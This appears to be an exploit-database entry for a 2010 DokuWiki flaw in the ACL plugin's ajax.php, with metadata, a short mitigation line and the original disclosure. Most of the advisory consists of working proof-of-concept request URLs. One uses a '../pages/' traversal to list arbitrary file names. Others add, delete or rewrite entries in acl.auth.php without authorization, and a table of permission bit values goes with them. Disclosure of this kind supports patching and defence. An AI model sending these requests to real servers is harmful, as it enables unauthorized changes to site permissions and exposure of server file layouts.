Arbitrary Change or Delete Wiki Permission

vendor:

DokuWiki

by:

white_sheep

8,8

CVSS

HIGH

Arbitrary File Disclosure and Authorization Bypass

20, 264

CWE

Product Name: DokuWiki

Affected Version From: http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25.tgz

Affected Version To: http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25b.tgz

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Arbitrary Change or Delete Wiki Permission

The bug allows listing the names of arbitrary file on the webserver- NOT THEIR CONTENTS. It also allows adding, deleting and updating authorization in acl.auth.php file.

Mitigation:

Restrict access to acl.auth.php file and use strong authentication and authorization mechanisms.

Source

Exploit-DB raw data:

Reported:        13-01-2010
Patched:        13-01-2010
Released:        14-01-2010
Vulnerable version :     
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25.tgz
Patched version:    
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25b.tgz
Author:            white_sheep
Contact:        white_sheep@ihteam.net - https://www.ihteam.net

--------------------  Show Outside Directory

PoC :

     http://server/plugins/acl/ajax.php?ajax=tree&ns=../pages/

     The bug allows listing the names of arbitrary file on the webserver 
- NOT THEIR CONTENTS.


--------------------  Arbitrary Change or Delete Wiki Permission

PoC :

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[save]=1&acl=(ACL) 

             add to acl.auth.php read or write authorization.

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[del]=1&acl=(ACL)
             delete from acl.auth.php an eventually authorization like 
(ACL).

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[update]=1&acl=(ACL)
             delete from acl.auth.php all authorization like (ACL).

     where (ACL) must be:
         1     -> read
         2     -> modified
         4     -> creation
         8     -> upload
         16     -> delete